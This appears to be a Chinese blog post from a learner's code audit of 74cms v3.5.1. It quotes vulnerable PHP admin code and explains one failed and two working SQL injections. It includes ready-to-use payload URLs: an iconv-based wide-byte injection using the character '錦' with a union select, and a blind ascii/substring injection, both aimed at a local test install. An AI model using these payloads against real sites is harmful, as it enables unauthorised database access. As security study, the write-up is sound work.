zoukankan      html  css  js  c++  java
  • 代码审计 => 74cms_v3.5.1.20141128 一系列漏洞

    0x01 前言

      最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的《代码审计 企业级Web代码安全架构》让我这个初学者能够入门。思路特别棒。我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了。H''Homaebic师傅教会了我很多思路。抱拳了老铁。 

    0x02 假漏洞

       在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞。出现"问题"的地方在admin/admin_article.php 20行处,

     1 if($act == 'newslist')
     2 {
     3     check_permissions($_SESSION['admin_purview'],"article_show");
     4     require_once(QISHI_ROOT_PATH.'include/page.class.php');
     5     $key=isset($_GET['key'])?trim($_GET['key']):"";
     6     $key_type=isset($_GET['key_type'])?intval($_GET['key_type']):"";
     7     $oederbysql=" order BY a.article_order DESC,a.id DESC";
     8     if ($key && $key_type>0)
     9     {
    10         
    11         if     ($key_type===1)$wheresql=" WHERE a.title like '%{$key}%'";
    12         elseif ($key_type===2)$wheresql=" WHERE a.id =".intval($key);
    13     }    
    14     !empty($_GET['parentid'])? $wheresqlarr['a.parentid']=intval($_GET['parentid']):'';
    15     !empty($_GET['type_id'])? $wheresqlarr['a.type_id']=intval($_GET['type_id']):'';
    16     !empty($_GET['focos'])?$wheresqlarr['a.focos']=intval($_GET['focos']):'';    
    17     if (!empty($wheresqlarr)) $wheresql=wheresql($wheresqlarr);
    18     if (!empty($_GET['settr']))
    19     {
    20         $settr=strtotime("-".intval($_GET['settr'])." day");
    21         $wheresql=empty($wheresql)?" WHERE a.addtime> ".$settr:$wheresql." AND a.addtime> ".$settr;
    22         $oederbysql=" order BY a.addtime DESC";
    23     }
    24     
    25     $joinsql=" LEFT JOIN ".table('article_category')." AS c ON a.type_id=c.id  LEFT JOIN ".table('article_property')." AS p ON a.focos=p.id ";
    26     $total_sql="SELECT COUNT(*) AS num FROM ".table('article')." AS a ".$joinsql.$wheresql;
    27     echo $total_sql;
    28     $page = new page(array('total'=>$db->get_total($total_sql), 'perpage'=>$perpage));

    当key_type=1的时候,没有对key进行intval处理。这个CMS是在入口对参数进行过滤,用了addslashes(),我想的是存在宽字节注入漏洞,利用

    http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_article.php?act=newslist&key_type=1&key=%df' union select if(1=1,sleep(5),1)%23

    结果发现利用不成功,最后用mysql监控软件发现

    character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了 参考p师傅的文章 浅析白盒审计中的字符编码及SQL注入

    发现了一个假漏洞,非常尴尬,但是对宽字节注入有了深入的了解。

    0x03 真漏洞1 后台宽字节注入漏洞(iconv引发)

      在看p牛的文章时,iconv()函数在转换时的编码问题会导致注入,于是我用seay源码审计软件搜索iconv函数,发现了这么一个地方  出现问题的代码在admin/admin_ajax.php 79行处

     1 elseif($act == 'get_jobs')
     2 {
     3     $type=trim($_GET['type']);
     4     $key=trim($_GET['key']);
     5     if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
     6     {
     7     $key=iconv("utf-8",QISHI_DBCHARSET,$key);
     8     }    
     9     if ($type=="get_id")
    10     {
    11         $id=intval($key);
    12         $sql = "select * from ".table('jobs')." where id='{$id}'  LIMIT 1";
    13     }
    14     elseif ($type=="get_jobname")
    15     {
    16         $sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%'  LIMIT 30";
    17 //        echo $sql;
    18     }
    19     elseif ($type=="get_comname")
    20     {
    21         $sql = "select * from ".table('jobs')." where companyname like '%{$key}%'  LIMIT 30";
    22     }
    23     elseif ($type=="get_uid")
    24     {
    25         $uid=intval($key);
    26         $sql = "select * from ".table('jobs')." where uid='{$uid}'  LIMIT 30";
    27 //        echo $sql;
    28     }
    29     else
    30     {
    31     exit();
    32     }
    33         $result = $db->query($sql);

      iconv函数将$_GET方式接受的key由utf-8编码转为GBK编码  p牛的文章讲到 “錦“这个字,它的utf-8编码是0xe98ca6,它的gbk编码是0xe55c的ascii码正是5c。那么,当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的'被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。

    test:  %5c%5c%27 =>  \' 明显第二个反斜杠被前一个反斜杠转义了 后面的单引号和前面的单引号成功闭合 

    Payload:

    http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=錦' union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

     注入成功。

    0x04  真漏洞2 后台颜色分类处盲注

      问题代码在 admin/include/admin_category_fun.php  48行处 get_color_one()函数

    function get_color_one($id)
    {
        global $db;
        $sql = "select * from ".table('color')." WHERE id=".$id."";
        return $db->getone($sql);
    }

      由此可见 $id 参数没有经过任何处理就直接插入到sql语句中,导致注入漏洞

    利用: http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_category.php?act=edit_color&id=1 and  114=ascii(substring(user(),1,1))

    如果语句正常则出现图片

    语句错误则出现图片

    所以利用成功 导致两个注入点

      实验发现第一个可以利用。。。

  • 相关阅读:
    牛客练习赛44 A 小y的序列 (模拟,细节)
    牛客假日团队赛10 L 乘积最大 (dp,大数)
    三分查找
    几何基础知识点
    POJ 2318 TOYS
    UVA 11916 Emoogle Grid(大步小步算法(解模方程对数) 快速幂 模的逆)
    UVA 11426 GCD
    Aladdin and the Flying Carpet(算术基本定理)
    算术基本定理
    数论总结帖
  • 原文地址:https://www.cnblogs.com/Mrsm1th/p/6957209.html
Copyright © 2011-2022 走看看